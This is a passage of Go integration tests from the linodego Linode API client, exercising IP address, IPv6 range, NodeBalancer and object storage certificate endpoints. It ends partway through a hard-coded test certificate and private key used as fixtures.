none %v", i) } // Set the RDNS for the IPv6 addresses for _, ip := range i { if ip.Type != "ipv6" || !ip.Public || ip.RDNS == "" { continue } rdns := fmt.Sprintf("%s.nip.io", ip.Address) _, err = client.UpdateIPAddress(context.Background(), ip.Address, IPAddressUpdateOptions{ RDNS: &rdns, }) if err != nil { t.Fatalf("Failed to set RDNS for IPv6 address: %v", err) } } // Retrieve the networking info without IPv6 RDNS i, err = client.ListIPAddresses(context.Background(), &ListOptions{ QueryParams: ListIPAddressesQuery{ SkipIPv6RDNS: true, }, }) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } // Validate that the IPv6 address RDNS field is not returned for _, ip := range i { if strings.Contains(string(ip.Type), "ipv6") && ip.RDNS != "" { t.Fatalf("expected empty rdns for ipv6 address; got %s", ip.RDNS) } } } func TestIPAddresses_Instance_Get(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddresses_Instance_Get") defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) } i, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if i.IPv4.Public[0].Address != instance.IPv4[0].String() { t.Errorf("Expected matching ipaddresses with GetInstanceIPAddress Instance IPAddress but got %v", i) } } func TestIPAddress_Update(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Update") defer teardown() if err != nil { t.Error(err) } address := instance.IPv4[0].String() i, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Errorf("Error getting ipaddress: %s", err) } rdns := i.IPv4.Public[0].RDNS updateOpts := IPAddressUpdateOptions{ RDNS: &rdns, } _, err = client.UpdateIPAddress(context.Background(), address, updateOpts) if err != nil { t.Error(err) } } // TestIPAddress_Instance_Delete requires the customer account to have // default_IPMax set to at least 2 and default_InterfaceMax set to 3. func TestIPAddress_Instance_Delete(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Delete") defer teardown() if err != nil { t.Error(err) } ip, err := client.AddInstanceIPAddress(context.TODO(), instance.ID, true) if err != nil { t.Fatalf("failed to allocate public IPv4 for instance (%d): %s", instance.ID, err) } i, err := client.GetInstanceIPAddresses(context.TODO(), instance.ID) if err != nil { t.Fatalf("failed to get instance (%d) IP addresses: %s", instance.ID, err) } if len(i.IPv4.Public) != 2 { t.Errorf("expected instance (%d) to have 2 public IPv4 addresses; got %d", instance.ID, len(i.IPv4.Public)) } if err := client.DeleteInstanceIPAddress(context.TODO(), instance.ID, ip.Address); err != nil { t.Fatalf("failed to delete instance (%d) public IPv4 address (%s): %s", instance.ID, ip.Address, err) } if i, err = client.GetInstanceIPAddresses(context.TODO(), instance.ID); err != nil { t.Fatalf("failed to get instance (%d) IP addresses: %s", instance.ID, err) } if len(i.IPv4.Public) != 1 { t.Errorf("expected instance (%d) to have 1 public IPv4 address; got %d", instance.ID, len(i.IPv4.Public)) } } func TestIPAddress_Instance_Assign(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Assign") defer teardown() if err != nil { t.Error(err) } newInstance, err := createInstance(t, client, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-assign" options.Region = instance.Region }) defer func() { if err := client.DeleteInstance(context.Background(), newInstance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }() if err != nil { t.Error(err) } ipRange, err := client.CreateIPv6Range(context.Background(), IPv6RangeCreateOptions{ PrefixLength: 64, LinodeID: newInstance.ID, }) if err != nil { t.Error(err) } // IP reassignment err = client.InstancesAssignIPs(context.Background(), LinodesAssignIPsOptions{ Region: instance.Region, Assignments: []LinodeIPAssignment{ { LinodeID: instance.ID, Address: ipRange.Range, }, }, }) if err != nil { t.Error(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Error(err) } for _, r := range ips.IPv6.Global { if fmt.Sprintf("%s/%d", r.Range, r.Prefix) == ipRange.Range { return } } t.Errorf("failed to find assigned ip") } func TestIPAddress_Instance_Share(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_Instance_Share", func(client *Client, options *InstanceCreateOptions) { // This should stay hardcoded at the moment as the // IP sharing rollout does not have a corresponding capability. options.Region = "us-ord" }) defer teardown() if err != nil { t.Error(err) } newInstance, err := createInstance(t, client, func(client *Client, options *InstanceCreateOptions) { options.Label = "go-ins-test-share" options.Region = instance.Region }) defer func() { if err := client.DeleteInstance(context.Background(), newInstance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }() if err != nil { t.Error(err) } ip, err := client.AddInstanceIPAddress(context.Background(), newInstance.ID, true) if err != nil { t.Error(err) } // IP sharing err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: instance.ID, IPs: []string{ ip.Address, }, }) if err != nil { t.Error(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), instance.ID) if err != nil { t.Error(err) } for _, r := range ips.IPv4.Shared { if r.Address == ip.Address { return } } t.Errorf("failed to find assigned ip") } golang-github-linode-linodego-1.28.0/test/integration/network_ranges_test.go000066400000000000000000000110201455402072200273120ustar00rootroot00000000000000package integration import ( "context" "fmt" "log" "reflect" "strings" "testing" "github.com/google/go-cmp/cmp" . "github.com/linode/linodego" ) var testIPv6RangeCreateOptions = IPv6RangeCreateOptions{ PrefixLength: 64, } func TestIPv6Range_Instance_List(t *testing.T) { client, ipRange, inst, err := setupIPv6RangeInstance(t, []ipv6RangeModifier{}, "fixtures/TestIPv6Range_Instance_List") if err != nil { t.Fatal(err) } filter := Filter{} filter.AddField(Eq, "region", inst.Region) filterStr, err := filter.MarshalJSON() if err != nil { log.Fatal(err) } result, err := client.ListIPv6Ranges(context.Background(), &ListOptions{Filter: string(filterStr)}) if err != nil { t.Errorf("Error listing IPv6 Ranges, expected struct, got error %v", err) } for _, r := range result { if r.RouteTarget == ipRange.RouteTarget && fmt.Sprintf("%s/%d", r.Range, r.Prefix) == ipRange.Range { // Ensure GET returns the correct details rangeView, err := client.GetIPv6Range(context.Background(), r.Range) if err != nil { t.Errorf("failed to get ipv6 range: %s", err) } rangeCommonFields := []IPv6Range{ {Range: r.Range, Prefix: r.Prefix, Region: r.Region}, {Range: rangeView.Range, Prefix: rangeView.Prefix, Region: rangeView.Region}, } if !reflect.DeepEqual(rangeCommonFields[0], rangeCommonFields[1]) { t.Errorf("ipv6 range view does not match result from list: %s", cmp.Diff(rangeCommonFields[0], rangeCommonFields[1])) } return } } t.Errorf("failed to find ipv6 range with matching range") } func TestIPv6Range_Share(t *testing.T) { client, ipRange, origInst, err := setupIPv6RangeInstance(t, []ipv6RangeModifier{}, "fixtures/TestIPv6Range_Share") if err != nil { t.Fatal(err) } inst, err := createInstance(t, client, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-share6" inst.Region = origInst.Region }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), inst.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }) // Share the ip with the new instance err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: origInst.ID, IPs: []string{ strings.TrimSuffix(ipRange.Range, "/64"), }, }) if err != nil { t.Fatal(err) } err = client.ShareIPAddresses(context.Background(), IPAddressesShareOptions{ LinodeID: inst.ID, IPs: []string{ strings.TrimSuffix(ipRange.Range, "/64"), }, }) if err != nil { t.Fatal(err) } ips, err := client.GetInstanceIPAddresses(context.Background(), inst.ID) if err != nil { t.Fatal(err) } if len(ips.IPv6.Global) < 1 { t.Fatal("invalid number of global ipv6 addresses") } if ips.IPv6.Global[0].Range != strings.TrimSuffix(ipRange.Range, "/64") { t.Fatal("ipv6 address does not match") } } type ipv6RangeModifier func(options *IPv6RangeCreateOptions) func createIPv6Range(t *testing.T, client *Client, ipv6RangeModifiers ...ipv6RangeModifier) (*IPv6Range, error) { t.Helper() createOpts := testIPv6RangeCreateOptions for _, modifier := range ipv6RangeModifiers { modifier(&createOpts) } ipRange, err := client.CreateIPv6Range(context.Background(), createOpts) if err != nil { t.Errorf("failed to create ipv6 range: %s", err) } t.Cleanup(func() { rangeSegments := strings.Split(ipRange.Range, "/") if err := client.DeleteIPv6Range(context.Background(), strings.Join(rangeSegments[:len(rangeSegments)-1], "/")); err != nil { t.Errorf("failed to delete ipv6 range: %s", err) } }) return ipRange, nil } func setupIPv6RangeInstance(t *testing.T, ipv6RangeModifiers []ipv6RangeModifier, fixturesYaml string) (*Client, *IPv6Range, *Instance, error) { t.Helper() client, fixtureTeardown := createTestClient(t, fixturesYaml) t.Cleanup(fixtureTeardown) instance, err := createInstance(t, client, func(client *Client, inst *InstanceCreateOptions) { inst.Label = "go-ins-test-range6" // This should stay hard-coded until IPv6 sharing has a // corresponding capability. inst.Region = "eu-west" }) if err != nil { t.Fatal(err) } t.Cleanup(func() { if err := client.DeleteInstance(context.Background(), instance.ID); err != nil { if t != nil { t.Errorf("Error deleting test Instance: %s", err) } } }) ipv6RangeModifiers = append(ipv6RangeModifiers, func(options *IPv6RangeCreateOptions) { options.LinodeID = instance.ID }) ipRange, err := createIPv6Range(t, client, ipv6RangeModifiers...) return client, ipRange, instance, err } golang-github-linode-linodego-1.28.0/test/integration/nodebalancer_config_nodes_test.go000066400000000000000000000131641455402072200314270ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var ( testNodePort = "8080" testNodeLabel = "go-node-test-def" testNodeWeight = 10 testNodeBalancerNodeCreateOpts = linodego.NodeBalancerNodeCreateOptions{ Label: testNodeLabel, Weight: testNodeWeight, Mode: linodego.ModeAccept, } ) func TestNodeBalancerNode_Create_smoke(t *testing.T) { _, _, _, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Create") defer teardown() if err != nil { t.Errorf("Error creating NodeBalancer Node, got error %v", err) } expected := testNodeBalancerNodeCreateOpts if node.Label != expected.Label || node.Weight != expected.Weight || node.Mode != expected.Mode { t.Errorf("NodeBalancerNode did not match CreateOptions - %v", node) } } func TestNodeBalancerNode_Update(t *testing.T) { client, nodebalancer, config, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.NodeBalancerNodeUpdateOptions{ Mode: linodego.ModeDrain, Weight: testNodeWeight + 90, Label: testNodeLabel + "_r", } nodeUpdated, err := client.UpdateNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID, updateOpts) if err != nil { t.Errorf("Error updating NodeBalancer Node, %s", err) } // fixture sanitization breaks predictability for this test, verify the prefix if string(updateOpts.Mode) != string(nodeUpdated.Mode) || updateOpts.Label != nodeUpdated.Label || updateOpts.Weight != nodeUpdated.Weight { t.Errorf("NodeBalancerNode did not match UpdateOptions") } } func TestNodeBalancerNodes_List(t *testing.T) { client, nodebalancer, config, _, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNodes_List") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") nodes, err := client.ListNodeBalancerNodes(context.Background(), nodebalancer.ID, config.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers nodes, expected array, got error %v", err) } if len(nodes) != listOpts.Results { t.Errorf("Expected ListNodeBalancerNodes to match API result count") } } func TestNodeBalancerNodes_ListMultiplePages(t *testing.T) { // TODO: replace hand crafted fixtures with unit tests // This fixture was hand-crafted to render an empty page 1 result, with a single result on page 2 // "results:1,data:[],page:1,pages:2" .. "results:1,data[{...}],page:2,pages:2" client, nodebalancer, config, _, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNodes_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") nodes, err := client.ListNodeBalancerNodes(context.Background(), nodebalancer.ID, config.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(nodes) != listOpts.Results { t.Errorf("Expected ListNodeBalancerNodes count to match API results count") } } func TestNodeBalancerNode_Get(t *testing.T) { client, nodebalancer, config, node, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancerNode_Get") defer teardown() if err != nil { t.Error(err) } nodeGot, err := client.GetNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID) if nodeGot.Address != node.Address { t.Errorf("GetNodeBalancerNode did not get the expected node") } if err != nil { t.Errorf("Error getting nodebalancer %d, got error %v", nodebalancer.ID, err) } } func TestNodeBalancer_Rebuild(t *testing.T) { client, nodebalancer, config, _, teardown, err := setupNodeBalancerNode(t, "fixtures/TestNodeBalancer_Rebuild") defer teardown() if err != nil { t.Error(err) } nbcRebuildOpts := config.GetRebuildOptions() nbcGot, err := client.RebuildNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID, nbcRebuildOpts) if err != nil { t.Errorf("Error rebuilding nodebalancer config %d: %v", config.ID, err) } if nbcGot.Port != config.Port { t.Errorf("RebuildNodeBalancerConfig did not return the expected port") } } func setupNodeBalancerNode(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, *linodego.NodeBalancerConfig, *linodego.NodeBalancerNode, func(), error) { t.Helper() var fixtureTeardown func() client, nodebalancer, config, fixtureTeardown, err := setupNodeBalancerConfig(t, fixturesYaml) if err != nil { t.Fatalf("Error creating nodebalancer config, got error %v", err) } client, instance, instanceTeardown, err := setupInstance(t, fixturesYaml+"Instance") if err != nil { t.Fatal(err) } instanceIP, err := client.AddInstanceIPAddress(context.Background(), instance.ID, false) if err != nil { t.Fatal(err) } createOpts := testNodeBalancerNodeCreateOpts createOpts.Address = instanceIP.Address + ":" + testNodePort node, err := client.CreateNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, createOpts) if err != nil { t.Fatalf("Error creating NodeBalancer Config Node, got error %v", err) } teardown := func() { // delete the NodeBalancerNode to exercise the code if err := client.DeleteNodeBalancerNode(context.Background(), nodebalancer.ID, config.ID, node.ID); err != nil { e, ok := err.(*linodego.Error) // Tollerate 404 because Rebuild testing will delete all Nodes if !ok || e.Code != 404 { t.Fatalf("Expected to delete a NodeBalancer Config Node, but got %v", err) } } fixtureTeardown() instanceTeardown() } return client, nodebalancer, config, node, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/nodebalancer_configs_test.go000066400000000000000000000107471455402072200304260ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var testNodeBalancerConfigCreateOpts = linodego.NodeBalancerConfigCreateOptions{ Port: 80, Protocol: linodego.ProtocolHTTP, Algorithm: linodego.AlgorithmRoundRobin, CheckInterval: 60, } func TestNodeBalancerConfig_Create_smoke(t *testing.T) { _, _, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Create") defer teardown() if err != nil { t.Errorf("Error creating NodeBalancer Config, got error %v", err) } expected := testNodeBalancerConfigCreateOpts // cant compare Target, fixture IPs are sanitized if config.Port != expected.Port || config.Protocol != expected.Protocol { t.Errorf("NodeBalancerConfig did not match CreateOptions") } } func TestNodeBalancerConfig_Update(t *testing.T) { client, nodebalancer, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Update") defer teardown() if err != nil { t.Error(err) } updateOpts := linodego.NodeBalancerConfigUpdateOptions{ Port: 8080, Protocol: linodego.ProtocolTCP, ProxyProtocol: linodego.ProxyProtocolV2, Algorithm: linodego.AlgorithmLeastConn, } configUpdated, err := client.UpdateNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID, updateOpts) if err != nil { t.Errorf("Error updating NodeBalancer Config, %s", err) } if configUpdated.Port != updateOpts.Port || string(updateOpts.Algorithm) != string(configUpdated.Algorithm) || string(updateOpts.Protocol) != string(configUpdated.Protocol) || string(updateOpts.ProxyProtocol) != string(configUpdated.ProxyProtocol) { t.Errorf("NodeBalancerConfig did not match UpdateOptions") } } func TestNodeBalancerConfigs_List(t *testing.T) { client, nodebalancer, _, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfigs_List") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") configs, err := client.ListNodeBalancerConfigs(context.Background(), nodebalancer.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(configs) != listOpts.Results { t.Errorf("Expected ListNodeBalancerConfigs to match API result count") } } func TestNodeBalancerConfigs_ListMultiplePages(t *testing.T) { // This fixture was hand-crafted to render an empty page 1 result, with a single result on page 2 // "results:1,data:[],page:1,pages:2" .. "results:1,data[{...}],page:2,pages:2" client, nodebalancer, _, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfigs_ListMultiplePages") defer teardown() if err != nil { t.Error(err) } listOpts := linodego.NewListOptions(0, "") configs, err := client.ListNodeBalancerConfigs(context.Background(), nodebalancer.ID, listOpts) if err != nil { t.Errorf("Error listing nodebalancers configs, expected array, got error %v", err) } if len(configs) != listOpts.Results { t.Errorf("Expected ListNodeBalancerConfigs count to match API results count") } } func TestNodeBalancerConfig_Get(t *testing.T) { client, nodebalancer, config, teardown, err := setupNodeBalancerConfig(t, "fixtures/TestNodeBalancerConfig_Get") defer teardown() if err != nil { t.Error(err) } configGot, err := client.GetNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID) if configGot.Port != config.Port { t.Errorf("GetNodeBalancerConfig did not get the expected config") } if err != nil { t.Errorf("Error getting nodebalancer %d, got error %v", nodebalancer.ID, err) } } func setupNodeBalancerConfig(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, *linodego.NodeBalancerConfig, func(), error) { t.Helper() var fixtureTeardown func() client, nodebalancer, fixtureTeardown, err := setupNodeBalancer(t, fixturesYaml) if err != nil { t.Fatalf("Error creating nodebalancer, got error %v", err) } createOpts := testNodeBalancerConfigCreateOpts config, err := client.CreateNodeBalancerConfig(context.Background(), nodebalancer.ID, createOpts) if err != nil { t.Fatalf("Error creating NodeBalancer Config, got error %v", err) } teardown := func() { // delete the NodeBalancerConfig to exercise the code if err := client.DeleteNodeBalancerConfig(context.Background(), nodebalancer.ID, config.ID); err != nil { t.Fatalf("Expected to delete a NodeBalancer Config, but got %v", err) } fixtureTeardown() } return client, nodebalancer, config, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/nodebalancer_firewalls_test.go000066400000000000000000000010451455402072200307550ustar00rootroot00000000000000package integration import ( "context" "testing" ) func TestNodeBalancerFirewalls_List(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancerFirewalls_List") if err != nil { t.Error(err) } defer teardown() result, err := client.ListNodeBalancerFirewalls(context.Background(), nodebalancer.ID, nil) if err != nil { t.Errorf("Error listing Firewalls, expected struct, got error %v", err) } if len(result) == 0 { t.Errorf("Expected a list of Firewalls, but got none: %v", err) } } golang-github-linode-linodego-1.28.0/test/integration/nodebalancer_stats_test.go000066400000000000000000000017341455402072200301300ustar00rootroot00000000000000package integration import ( "context" "testing" "time" "github.com/linode/linodego" ) func TestNodeBalancerStats_Get(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancerStats_Get") defer teardown() if err != nil { t.Error(err) } ticker := time.NewTicker(10 * time.Second) timer := time.NewTimer(120 * time.Second) defer ticker.Stop() poll: for { select { case <-ticker.C: _, err = client.GetNodeBalancerStats(context.Background(), nodebalancer.ID) if err != nil { // Possible that the call succeeded but that stats aren't available (HTTP: 4XX) if v, ok := err.(*linodego.Error); ok { if v.Code == 400 && v.Message == "Stats are unavailable at this time." { break poll } // Otherwise, let's call it fatal t.Fatal(err) } } if err == nil { // stats are now returning break poll } case <-timer.C: t.Fatal("Error getting stats, polling timed out") } } } golang-github-linode-linodego-1.28.0/test/integration/nodebalancers_test.go000066400000000000000000000061601455402072200270730ustar00rootroot00000000000000package integration import ( "context" "strings" "testing" "github.com/linode/linodego" ) var ( clientConnThrottle = 20 label = "go-test-def" ) func TestNodeBalancer_Create_create(t *testing.T) { _, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Create") defer teardown() if err != nil { t.Errorf("Error creating nodebalancer: %v", err) } // when comparing fixtures to random value Label will differ, compare the known suffix if !strings.Contains(*nodebalancer.Label, label) { t.Errorf("nodebalancer returned does not match nodebalancer create request") } assertDateSet(t, nodebalancer.Created) assertDateSet(t, nodebalancer.Updated) } func TestNodeBalancer_Update(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Update") defer teardown() if err != nil { t.Error(err) } renamedLabel := *nodebalancer.Label + "_r" updateOpts := linodego.NodeBalancerUpdateOptions{ Label: &renamedLabel, } nodebalancer, err = client.UpdateNodeBalancer(context.Background(), nodebalancer.ID, updateOpts) if err != nil { t.Errorf("Error renaming nodebalancer, %s", err) } if !strings.Contains(*nodebalancer.Label, renamedLabel) { t.Errorf("nodebalancer returned does not match nodebalancer create request") } } func TestNodeBalancers_List_smoke(t *testing.T) { client, _, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancers_List") defer teardown() if err != nil { t.Error(err) } nodebalancers, err := client.ListNodeBalancers(context.Background(), nil) if err != nil { t.Errorf("Error listing nodebalancers, expected struct, got error %v", err) } if len(nodebalancers) == 0 { t.Errorf("Expected a list of nodebalancers, but got %v", nodebalancers) } } func TestNodeBalancer_Get(t *testing.T) { client, nodebalancer, teardown, err := setupNodeBalancer(t, "fixtures/TestNodeBalancer_Get") defer teardown() if err != nil { t.Error(err) } _, err = client.GetNodeBalancer(context.Background(), nodebalancer.ID) if err != nil { t.Errorf("Error getting nodebalancer %d, expected *NodeBalancer, got error %v", nodebalancer.ID, err) } } func setupNodeBalancer(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.NodeBalancer, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) firewall, firewallTeardown, err := createFirewall(t, client) createOpts := linodego.NodeBalancerCreateOptions{ Label: &label, Region: getRegionsWithCaps(t, client, []string{"NodeBalancers"})[0], ClientConnThrottle: &clientConnThrottle, FirewallID: firewall.ID, } nodebalancer, err := client.CreateNodeBalancer(context.Background(), createOpts) if err != nil { t.Fatalf("Error listing nodebalancers, expected struct, got error %v", err) } teardown := func() { if err := client.DeleteNodeBalancer(context.Background(), nodebalancer.ID); err != nil { t.Errorf("Expected to delete a nodebalancer, but got %v", err) } firewallTeardown() fixtureTeardown() } return client, nodebalancer, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/object_storage_bucket_certs_test.go000066400000000000000000000152621455402072200320250ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) var ( testCertifcate = `-----BEGIN CERTIFICATE----- MIIF3DCCA8QCCQC0dUFu1HvjazANBgkqhkiG9w0BAQsFADCBrzELMAkGA1UEBhMC VVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGlsYWRlbHBoaWExDzANBgNVBAoM Bkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMMH2xpbm9kZS1vYmotYnVja2V0 LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEWJWFkbWluQGxpbm9kZS1vYmot YnVja2V0LWNlcnQtdGVzdC54eXowHhcNMjAxMDA1MTg0MDUyWhcNMjExMDA1MTg0 MDUyWjCBrzELMAkGA1UEBhMCVVMxCzAJBgNVBAgMAlBBMRUwEwYDVQQHDAxQaGls YWRlbHBoaWExDzANBgNVBAoMBkxpbm9kZTELMAkGA1UECwwCRFgxKDAmBgNVBAMM H2xpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXoxNDAyBgkqhkiG9w0BCQEW JWFkbWluQGxpbm9kZS1vYmotYnVja2V0LWNlcnQtdGVzdC54eXowggIiMA0GCSqG SIb3DQEBAQUAA4ICDwAwggIKAoICAQCy4LqfRYXE314e6YkpR1BbKPH8ohO4lcMt +YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8iSio8V97CdQb8O64OQmre /y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jljU8MZSg6sLM4ZEBhfcT0V 3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGUG6KwGzf+dLSKzBcjy5ho h4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8lUtc/hFI+J8WVh/qLTKQ CcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK/vKBNycJsENtWno9KgtN fsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O/v3O4wz+YS55xnVeEPIf fOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7eU1RpJmbc5X8GhytiD2M gIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb+ZQDvwx3ZujxjFXe3+qI kme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25fn3tutk/7hQNMqv0APAah Lo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+wN3CznWaCtXiAjH3kbOk 6y2OmI8+4QIDAQABMA0GCSqGSIb3DQEBCwUAA4ICAQCP2UawP8GDWxyMOsHDPqKp PtedCxPpEPsQm8KMnt5KJ55NFqTcpARz1miHXT1aBedu9IoqxvTP4g8BQ4QFjP2s ddNu2WKqnwyzkCtnB2zOrOKlvUtRAZ4x2iyhKNqls6D7I4tw22HMbTzW2TVeuGVa oiRtawFcUsjSAcarRw6swLTln+BK54dWa9E5hiulBoHLosMWCEyUDrUnaiB+2+7C bsExYZTXRlii7YPSr46zPmte2iKa1+b0g5DXkzSazWp+R/dlGYp84uLWk71e4b/9 So1pIitPasCJHgO/ii9nIcmDXarkaGT5CEUP8WPp6mLY5W9NxgF2czdz6AMJa3P9 2jNd4J1VFl8k+LDZ4GnwHGhyL3h3lFUmmoQV/0YVoXmA59SxE2JPvc2d1V6xh2gz yg2M+xcKliSXxshhAopsSSoEp5g3II2mCvzeSxwsXa4Ob5c5TJNdXslm1pugRCbB tjFNh70wZmCq+jY8C+vGsDwkf/5UeAd+c+14s3bwsBfWqZBGokVxyf/UWHtsWlVn p3USWBwLxEWyQIioMmj4O6wROZeyePDlFDVky4hzTCrTS6EFIqkGBs5RneCHhTN0 gNHFG8Ixql6mybJAwopvWGEL+7E4pbNdbhmgVvf2YEQuMZBCM7fGdBsRNkTs6jIA /8soO6buQgQoCq3GFbodZA== -----END CERTIFICATE----- ` testPrivateKey = `-----BEGIN PRIVATE KEY----- MIIJQgIBADANBgkqhkiG9w0BAQEFAASCCSwwggkoAgEAAoICAQCy4LqfRYXE314e 6YkpR1BbKPH8ohO4lcMt+YzMUNlOC1KUktGjX8pWk4wAXYar7Mxccmbbh68pgE8i Sio8V97CdQb8O64OQmre/y33z7Yts37/6mH5mBnfeiilVHOenQmh+4400tvF1jlj U8MZSg6sLM4ZEBhfcT0V3yqxAwwzV8vk0t7uLRCMuDI5B4h4ZCsheCkA2roF4RGU G6KwGzf+dLSKzBcjy5hoh4huzp5jDYer7S86dV6/9Gwzh8CPhVaixbymHGoMbJM8 lUtc/hFI+J8WVh/qLTKQCcqvoZ96QU0LX2ib+ElvCMGl/UrznpHZUrGkLPfnnoxK /vKBNycJsENtWno9KgtNfsdmYy/blxNRW/qpi+l92f3zbjjpRqJ/oyA+hsSMn19O /v3O4wz+YS55xnVeEPIffOq6VJ9BfVdXPPRp33sllM8EVWuS4ry3oJKI1CFTlhV7 eU1RpJmbc5X8GhytiD2MgIrVlYzJTftSHw7J3v0orRD6SxI9enXI4o4pS1MMxRNb +ZQDvwx3ZujxjFXe3+qIkme3ih+Vl9W9rDeKAd95ciII9CxBqOvsso8zqDAEV25f n3tutk/7hQNMqv0APAahLo/eY1NK9i9YVJknVSzWBkE2MUyvpfFhiw6TPYh88qH+ wN3CznWaCtXiAjH3kbOk6y2OmI8+4QIDAQABAoICAElFboxhMPtEt8wXwzxqXssI iZ7/UO6yQeHqL7ddgrXKQ4hiX4b5bOtrwtQ/ezOfatKPdfyEpsZsLX4RPR28rJ2g zDyzwYdLw3UWt+Cjb69msCXp/zn7CNYWtuGKJ1YYY2K7pTOUD7wJFTbPj8IjKMF0 FPQFOMaXnvr/kAA0DGJXm0he7DxJr1bE+KWNpWQTO+uYycr0zXAtEkNF0q0qaRRM /8s+8FeURRjEM6mX7x8J4sIVBNyASVB9sXimKcVgS+2e67hrOTFfpCwTx2wPEkt+ s8O1gZst6mE/8Ythu+6bIxD+gt4opQPbZV810ubZ1Epd6jAiz2VL95Gcvv8Y9V7+ EGfqeeiHqQkIkhSNO6Aqui/QBHEIuXlDvh6/Q23ln/AeniHFktYASK2WtbtzXON5 3yL0d8S5ndCLYMch1uv1V+JQ67Y5JJYTAh+fev7uyZy7qLGnAjUoRnwRofwgig6a lKOf9aMlLJnIJSHlyzqni5wnVdO1y/RGMsE/BdJ15+F9LGYm/sy56VPsjU9rELIa 9UGLAWNiEZQDQLgApZl8rawXVlANwW/iesxgAh4eZlaFXvaGtK72KcETBfn+jt8m 2/LUbh4BL2O4F2OJ2F8+DET6JGDrNDBkcsSxYmtgtRpJjrV76MvjSli8uRAlaEd7 R3n3ztdOEX25VeFExsdFAoIBAQDhFInwMNTY+phF57o/R6FNyLHQGkNz2w4pYXkR 